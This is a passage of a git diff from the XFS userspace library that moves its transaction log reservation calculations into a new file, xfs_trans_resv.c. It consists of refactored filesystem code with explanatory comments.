the freed blocks: sector size - * worst case split in allocation btrees per extent assuming 4 extents: - * 4 exts * 2 trees * (2 * max depth - 1) * block size - * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (max depth - 1) * block size - */ -STATIC uint -xfs_calc_itruncate_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) + 1, - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(5, 0) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + - mp->m_in_maxlevels, 0))); -} - -/* - * In renaming a files we can modify: - * the four inodes involved: 4 * inode size - * the two directory btrees: 2 * (max depth + v2) * dir block size - * the two directory bmap btrees: 2 * max depth * block size - * And the bmap_finish transaction can free dir and bmap blocks (two sets - * of bmap blocks) giving: - * the agf for the ags in which the blocks live: 3 * sector size - * the agfl for the ags in which the blocks live: 3 * sector size - * the superblock for the free block count: sector size - * the allocation btrees: 3 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_rename_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(4, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(2 * XFS_DIROP_LOG_COUNT(mp), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(7, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 3), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * For creating a link to an inode: - * the parent directory inode: inode size - * the linked inode: inode size - * the directory btree could split: (max depth + v2) * dir block size - * the directory bmap btree could join or split: (max depth + v2) * blocksize - * And the bmap_finish transaction can free some bmap blocks giving: - * the agf for the ag in which the blocks live: sector size - * the agfl for the ag in which the blocks live: sector size - * the superblock for the free block count: sector size - * the allocation btrees: 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_link_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * For removing a directory entry we can modify: - * the parent directory inode: inode size - * the removed inode: inode size - * the directory btree could join: (max depth + v2) * dir block size - * the directory bmap btree could join or split: (max depth + v2) * blocksize - * And the bmap_finish transaction can free the dir and bmap blocks giving: - * the agf for the ag in which the blocks live: 2 * sector size - * the agfl for the ag in which the blocks live: 2 * sector size - * the superblock for the free block count: sector size - * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_remove_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * For create, break it in to the two cases that the transaction - * covers. We start with the modify case - allocation done by modification - * of the state of existing inodes - and the allocation case. - */ - -/* - * For create we can modify: - * the parent directory inode: inode size - * the new inode: inode size - * the inode btree entry: block size - * the superblock for the nlink flag: sector size - * the directory btree: (max depth + v2) * dir block size - * the directory inode's bmap btree: (max depth + v2) * block size - */ -STATIC uint -xfs_calc_create_resv_modify( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - (uint)XFS_FSB_TO_B(mp, 1) + - xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); -} - -/* - * For create we can allocate some inodes giving: - * the agi and agf of the ag getting the new inodes: 2 * sectorsize - * the superblock for the nlink flag: sector size - * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize - * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (max depth - 1) * block size - */ -STATIC uint -xfs_calc_create_resv_alloc( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - mp->m_sb.sb_sectsize + - xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -STATIC uint -__xfs_calc_create_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX(xfs_calc_create_resv_alloc(mp), - xfs_calc_create_resv_modify(mp)); -} - -/* - * For icreate we can allocate some inodes giving: - * the agi and agf of the ag getting the new inodes: 2 * sectorsize - * the superblock for the nlink flag: sector size - * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (max depth - 1) * block size - */ -STATIC uint -xfs_calc_icreate_resv_alloc( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - mp->m_sb.sb_sectsize + - xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -STATIC uint -xfs_calc_icreate_reservation(xfs_mount_t *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX(xfs_calc_icreate_resv_alloc(mp), - xfs_calc_create_resv_modify(mp)); -} - -STATIC uint -xfs_calc_create_reservation( - struct xfs_mount *mp) -{ - if (xfs_sb_version_hascrc(&mp->m_sb)) - return xfs_calc_icreate_reservation(mp); - return __xfs_calc_create_reservation(mp); - -} - -/* - * Making a new directory is the same as creating a new file. - */ -STATIC uint -xfs_calc_mkdir_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_create_reservation(mp); -} - - -/* - * Making a new symplink is the same as creating a new file, but - * with the added blocks for remote symlink data which can be up to 1kB in - * length (MAXPATHLEN). - */ -STATIC uint -xfs_calc_symlink_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_create_reservation(mp) + - xfs_calc_buf_res(1, MAXPATHLEN); -} - -/* - * In freeing an inode we can modify: - * the inode being freed: inode size - * the super block free inode counter: sector size - * the agi hash list and counters: sector size - * the inode btree entry: block size - * the on disk inode before ours in the agi hash list: inode cluster size - * the inode btree: max depth * blocksize - * the allocation btrees: 2 trees * (max depth - 1) * block size - */ -STATIC uint -xfs_calc_ifree_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + - MAX((__uint16_t)XFS_FSB_TO_B(mp, 1), - XFS_INODE_CLUSTER_SIZE(mp)) + - xfs_calc_buf_res(1, 0) + - xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + - mp->m_in_maxlevels, 0) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * When only changing the inode we log the inode and possibly the superblock - * We also add a bit of slop for the transaction stuff. - */ -STATIC uint -xfs_calc_ichange_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - mp->m_sb.sb_inodesize + - mp->m_sb.sb_sectsize + - 512; - -} - -/* - * Growing the data section of the filesystem. - * superblock - * agi and agf - * allocation btrees - */ -STATIC uint -xfs_calc_growdata_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * Growing the rt section of the filesystem. - * In the first set of transactions (ALLOC) we allocate space to the - * bitmap or summary files. - * superblock: sector size - * agf of the ag from which the extent is allocated: sector size - * bmap btree for bitmap/summary inode: max depth * blocksize - * bitmap/summary inode: inode size - * allocation btrees for 1 block alloc: 2 * (2 * maxdepth - 1) * blocksize - */ -STATIC uint -xfs_calc_growrtalloc_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * Growing the rt section of the filesystem. - * In the second set of transactions (ZERO) we zero the new metadata blocks. - * one bitmap/summary block: blocksize - */ -STATIC uint -xfs_calc_growrtzero_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_blocksize); -} - -/* - * Growing the rt section of the filesystem. - * In the third set of transactions (FREE) we update metadata without - * allocating any new blocks. - * superblock: sector size - * bitmap inode: inode size - * summary inode: inode size - * one bitmap block: blocksize - * summary blocks: new summary size - */ -STATIC uint -xfs_calc_growrtfree_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(1, mp->m_sb.sb_blocksize) + - xfs_calc_buf_res(1, mp->m_rsumsize); -} - -/* - * Logging the inode modification timestamp on a synchronous write. - * inode - */ -STATIC uint -xfs_calc_swrite_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); -} - -/* - * Logging the inode mode bits when writing a setuid/setgid file - * inode - */ -STATIC uint -xfs_calc_writeid_reservation(xfs_mount_t *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_inodesize); -} - -/* - * Converting the inode from non-attributed to attributed. - * the inode being converted: inode size - * agf block and superblock (for block allocation) - * the new block (directory sized) - * bmap blocks for the new directory block - * allocation btrees - */ -STATIC uint -xfs_calc_addafork_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(1, mp->m_dirblksize) + - xfs_calc_buf_res(XFS_DAENTER_BMAP1B(mp, XFS_DATA_FORK) + 1, - XFS_FSB_TO_B(mp, 1)) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * Removing the attribute fork of a file - * the inode being truncated: inode size - * the inode's bmap btree: max depth * block size - * And the bmap_finish transaction can free the blocks and bmap blocks: - * the agf for each of the ags: 4 * sector size - * the agfl for each of the ags: 4 * sector size - * the super block to reflect the freed blocks: sector size - * worst case split in allocation btrees per extent assuming 4 extents: - * 4 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_attrinval_reservation( - struct xfs_mount *mp) -{ - return MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), - XFS_FSB_TO_B(mp, 1))), - (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * Setting an attribute at mount time. - * the inode getting the attribute - * the superblock for allocations - * the agfs extents are allocated from - * the attribute btree * max depth - * the inode allocation btree - * Since attribute transaction space is dependent on the size of the attribute, - * the calculation is done partially at mount time and partially at runtime(see - * below). - */ -STATIC uint -xfs_calc_attrsetm_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, XFS_FSB_TO_B(mp, 1)); -} - -/* - * Setting an attribute at runtime, transaction space unit per block. - * the superblock for allocations: sector size - * the inode bmap btree could join or split: max depth * block size - * Since the runtime attribute transaction space is dependent on the total - * blocks needed for the 1st bmap, here we calculate out the space unit for - * one block so that the caller could figure out the total space according - * to the attibute extent length in blocks by: ext * XFS_ATTRSETRT_LOG_RES(mp). - */ -STATIC uint -xfs_calc_attrsetrt_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK), - XFS_FSB_TO_B(mp, 1)); -} - -/* - * Removing an attribute. - * the inode: inode size - * the attribute btree could join: max depth * block size - * the inode bmap btree could join or split: max depth * block size - * And the bmap_finish transaction can free the attr blocks freed giving: - * the agf for the ag in which the blocks live: 2 * sector size - * the agfl for the ag in which the blocks live: 2 * sector size - * the superblock for the free block count: sector size - * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size - */ -STATIC uint -xfs_calc_attrrm_reservation( - struct xfs_mount *mp) -{ - return XFS_DQUOT_LOGRES(mp) + - MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + - xfs_calc_buf_res(XFS_DA_NODE_MAXDEPTH, - XFS_FSB_TO_B(mp, 1)) + - XFS_FSB_TO_B(mp, XFS_BM_MAXLEVELS(mp, XFS_ATTR_FORK)) + - xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), 0)), - (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + - xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), - XFS_FSB_TO_B(mp, 1)))); -} - -/* - * Clearing a bad agino number in an agi hash bucket. - */ -STATIC uint -xfs_calc_clear_agi_bucket_reservation( - struct xfs_mount *mp) -{ - return xfs_calc_buf_res(1, mp->m_sb.sb_sectsize); -} - -/* * Initialize the precomputed transaction reservation values * in the mount structure. */ @@ -581,30 +30,7 @@ void xfs_trans_init( struct xfs_mount *mp) { - struct xfs_trans_reservations *resp = &mp->m_reservations; - - resp->tr_write = xfs_calc_write_reservation(mp); - resp->tr_itruncate = xfs_calc_itruncate_reservation(mp); - resp->tr_rename = xfs_calc_rename_reservation(mp); - resp->tr_link = xfs_calc_link_reservation(mp); - resp->tr_remove = xfs_calc_remove_reservation(mp); - resp->tr_symlink = xfs_calc_symlink_reservation(mp); - resp->tr_create = xfs_calc_create_reservation(mp); - resp->tr_mkdir = xfs_calc_mkdir_reservation(mp); - resp->tr_ifree = xfs_calc_ifree_reservation(mp); - resp->tr_ichange = xfs_calc_ichange_reservation(mp); - resp->tr_growdata = xfs_calc_growdata_reservation(mp); - resp->tr_swrite = xfs_calc_swrite_reservation(mp); - resp->tr_writeid = xfs_calc_writeid_reservation(mp); - resp->tr_addafork = xfs_calc_addafork_reservation(mp); - resp->tr_attrinval = xfs_calc_attrinval_reservation(mp); - resp->tr_attrsetm = xfs_calc_attrsetm_reservation(mp); - resp->tr_attrsetrt = xfs_calc_attrsetrt_reservation(mp); - resp->tr_attrrm = xfs_calc_attrrm_reservation(mp); - resp->tr_clearagi = xfs_calc_clear_agi_bucket_reservation(mp); - resp->tr_growrtalloc = xfs_calc_growrtalloc_reservation(mp); - resp->tr_growrtzero = xfs_calc_growrtzero_reservation(mp); - resp->tr_growrtfree = xfs_calc_growrtfree_reservation(mp); + xfs_trans_resv_calc(mp, &mp->m_reservations); } /* diff --git a/libxfs/xfs_trans_resv.c b/libxfs/xfs_trans_resv.c new file mode 100644 index 0000000..7a391e3 --- /dev/null +++ b/libxfs/xfs_trans_resv.c @@ -0,0 +1,677 @@ +/* + * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. + * Copyright (C) 2010 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include + +/* + * A buffer has a format structure overhead in the log in addition + * to the data, so we need to take this into account when reserving + * space in a transaction for a buffer. Round the space required up + * to a multiple of 128 bytes so that we don't change the historical + * reservation that has been used for this overhead. + */ +STATIC uint +xfs_buf_log_overhead(void) +{ + return round_up(sizeof(struct xlog_op_header) + + sizeof(struct xfs_buf_log_format), 128); +} + +/* + * Calculate out transaction log reservation per item in bytes. + * + * The nbufs argument is used to indicate the number of items that + * will be changed in a transaction. size is used to tell how many + * bytes should be reserved per item. + */ +STATIC uint +xfs_calc_buf_res( + uint nbufs, + uint size) +{ + return nbufs * (size + xfs_buf_log_overhead()); +} + +/* + * Various log reservation values. + * + * These are based on the size of the file system block because that is what + * most transactions manipulate. Each adds in an additional 128 bytes per + * item logged to try to account for the overhead of the transaction mechanism. + * + * Note: Most of the reservations underestimate the number of allocation + * groups into which they could free extents in the xfs_bmap_finish() call. + * This is because the number in the worst case is quite high and quite + * unusual. In order to fix this we need to change xfs_bmap_finish() to free + * extents in only a single AG at a time. This will require changes to the + * EFI code as well, however, so that the EFI for the extents not freed is + * logged again in each transaction. See SGI PV #261917. + * + * Reservation functions here avoid a huge stack in xfs_trans_init due to + * register overflow from temporaries in the calculations. + */ + + +/* + * In a write transaction we can allocate a maximum of 2 + * extents. This gives: + * the inode getting the new extents: inode size + * the inode's bmap btree: max depth * block size + * the agfs of the ags from which the extents are allocated: 2 * sector + * the superblock free block counter: sector size + * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size + * And the bmap_finish transaction can free bmap blocks in a join: + * the agfs of the ags containing the blocks: 2 * sector size + * the agfls of the ags containing the blocks: 2 * sector size + * the super block free block counter: sector size + * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_write_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * In truncating a file we free up to two extents at once. We can modify: + * the inode being truncated: inode size + * the inode's bmap btree: (max depth + 1) * block size + * And the bmap_finish transaction can free the blocks and bmap blocks: + * the agf for each of the ags: 4 * sector size + * the agfl for each of the ags: 4 * sector size + * the super block to reflect the freed blocks: sector size + * worst case split in allocation btrees per extent assuming 4 extents: + * 4 exts * 2 trees * (2 * max depth - 1) * block size + * the inode btree: max depth * blocksize + * the allocation btrees: 2 trees * (max depth - 1) * block size + */ +STATIC uint +xfs_calc_itruncate_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK) + 1, + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(9, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 4), + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(5, 0) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + + mp->m_in_maxlevels, 0))); +} + +/* + * In renaming a files we can modify: + * the four inodes involved: 4 * inode size + * the two directory btrees: 2 * (max depth + v2) * dir block size + * the two directory bmap btrees: 2 * max depth * block size + * And the bmap_finish transaction can free dir and bmap blocks (two sets + * of bmap blocks) giving: + * the agf for the ags in which the blocks live: 3 * sector size + * the agfl for the ags in which the blocks live: 3 * sector size + * the superblock for the free block count: sector size + * the allocation btrees: 3 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_rename_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(4, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(2 * XFS_DIROP_LOG_COUNT(mp), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(7, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 3), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * For creating a link to an inode: + * the parent directory inode: inode size + * the linked inode: inode size + * the directory btree could split: (max depth + v2) * dir block size + * the directory bmap btree could join or split: (max depth + v2) * blocksize + * And the bmap_finish transaction can free some bmap blocks giving: + * the agf for the ag in which the blocks live: sector size + * the agfl for the ag in which the blocks live: sector size + * the superblock for the free block count: sector size + * the allocation btrees: 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_link_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * For removing a directory entry we can modify: + * the parent directory inode: inode size + * the removed inode: inode size + * the directory btree could join: (max depth + v2) * dir block size + * the directory bmap btree could join or split: (max depth + v2) * blocksize + * And the bmap_finish transaction can free the dir and bmap blocks giving: + * the agf for the ag in which the blocks live: 2 * sector size + * the agfl for the ag in which the blocks live: 2 * sector size + * the superblock for the free block count: sector size + * the allocation btrees: 2 exts * 2 trees * (2 * max depth - 1) * block size + */ +STATIC uint +xfs_calc_remove_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX((xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), + XFS_FSB_TO_B(mp, 1))), + (xfs_calc_buf_res(5, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 2), + XFS_FSB_TO_B(mp, 1)))); +} + +/* + * For create, break it in to the two cases that the transaction + * covers. We start with the modify case - allocation done by modification + * of the state of existing inodes - and the allocation case. + */ + +/* + * For create we can modify: + * the parent directory inode: inode size + * the new inode: inode size + * the inode btree entry: block size + * the superblock for the nlink flag: sector size + * the directory btree: (max depth + v2) * dir block size + * the directory inode's bmap btree: (max depth + v2) * block size + */ +STATIC uint +xfs_calc_create_resv_modify( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(1, mp->m_sb.sb_sectsize) + + (uint)XFS_FSB_TO_B(mp, 1) + + xfs_calc_buf_res(XFS_DIROP_LOG_COUNT(mp), XFS_FSB_TO_B(mp, 1)); +} + +/* + * For create we can allocate some inodes giving: + * the agi and agf of the ag getting the new inodes: 2 * sectorsize + * the superblock for the nlink flag: sector size + * the inode blocks allocated: XFS_IALLOC_BLOCKS * blocksize + * the inode btree: max depth * blocksize + * the allocation btrees: 2 trees * (max depth - 1) * block size + */ +STATIC uint +xfs_calc_create_resv_alloc( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + mp->m_sb.sb_sectsize + + xfs_calc_buf_res(XFS_IALLOC_BLOCKS(mp), XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +STATIC uint +__xfs_calc_create_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX(xfs_calc_create_resv_alloc(mp), + xfs_calc_create_resv_modify(mp)); +} + +/* + * For icreate we can allocate some inodes giving: + * the agi and agf of the ag getting the new inodes: 2 * sectorsize + * the superblock for the nlink flag: sector size + * the inode btree: max depth * blocksize + * the allocation btrees: 2 trees * (max depth - 1) * block size + */ +STATIC uint +xfs_calc_icreate_resv_alloc( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + mp->m_sb.sb_sectsize + + xfs_calc_buf_res(mp->m_in_maxlevels, XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +STATIC uint +xfs_calc_icreate_reservation(xfs_mount_t *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + MAX(xfs_calc_icreate_resv_alloc(mp), + xfs_calc_create_resv_modify(mp)); +} + +STATIC uint +xfs_calc_create_reservation( + struct xfs_mount *mp) +{ + if (xfs_sb_version_hascrc(&mp->m_sb)) + return xfs_calc_icreate_reservation(mp); + return __xfs_calc_create_reservation(mp); + +} + +/* + * Making a new directory is the same as creating a new file. + */ +STATIC uint +xfs_calc_mkdir_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_create_reservation(mp); +} + + +/* + * Making a new symplink is the same as creating a new file, but + * with the added blocks for remote symlink data which can be up to 1kB in + * length (MAXPATHLEN). + */ +STATIC uint +xfs_calc_symlink_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_create_reservation(mp) + + xfs_calc_buf_res(1, MAXPATHLEN); +} + +/* + * In freeing an inode we can modify: + * the inode being freed: inode size + * the super block free inode counter: sector size + * the agi hash list and counters: sector size + * the inode btree entry: block size + * the on disk inode before ours in the agi hash list: inode cluster size + * the inode btree: max depth * blocksize + * the allocation btrees: 2 trees * (max depth - 1) * block size + */ +STATIC uint +xfs_calc_ifree_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + + MAX((__uint16_t)XFS_FSB_TO_B(mp, 1), + XFS_INODE_CLUSTER_SIZE(mp)) + + xfs_calc_buf_res(1, 0) + + xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + + mp->m_in_maxlevels, 0) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * When only changing the inode we log the inode and possibly the superblock + * We also add a bit of slop for the transaction stuff. + */ +STATIC uint +xfs_calc_ichange_reservation( + struct xfs_mount *mp) +{ + return XFS_DQUOT_LOGRES(mp) + + mp->m_sb.sb_inodesize + + mp->m_sb.sb_sectsize + + 512; + +} + +/* + * Growing the data section of the filesystem. + * superblock + * agi and agf + * allocation btrees + */ +STATIC uint +xfs_calc_growdata_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(3, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * Growing the rt section of the filesystem. + * In the first set of transactions (ALLOC) we allocate space to the + * bitmap or summary files. + * superblock: sector size + * agf of the ag from which the extent is allocated: sector size + * bmap btree for bitmap/summary inode: max depth * blocksize + * bitmap/summary inode: inode size + * allocation btrees for 1 block alloc: 2 * (2 * maxdepth - 1) * blocksize + */ +STATIC uint +xfs_calc_growrtalloc_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + + xfs_calc_buf_res(XFS_BM_MAXLEVELS(mp, XFS_DATA_FORK), + XFS_FSB_TO_B(mp, 1)) + + xfs_calc_buf_res(1, mp->m_sb.sb_inodesize) + + xfs_calc_buf_res(XFS_ALLOCFREE_LOG_COUNT(mp, 1), + XFS_FSB_TO_B(mp, 1)); +} + +/* + * Growing the rt section of the filesystem. + * In the second set of transactions (ZERO) we zero the new metadata blocks. + * one bitmap/summary block: blocksize + */ +STATIC uint +xfs_calc_growrtzero_reservation( + struct xfs_mount *mp) +{ + return xfs_calc_buf_res(1, 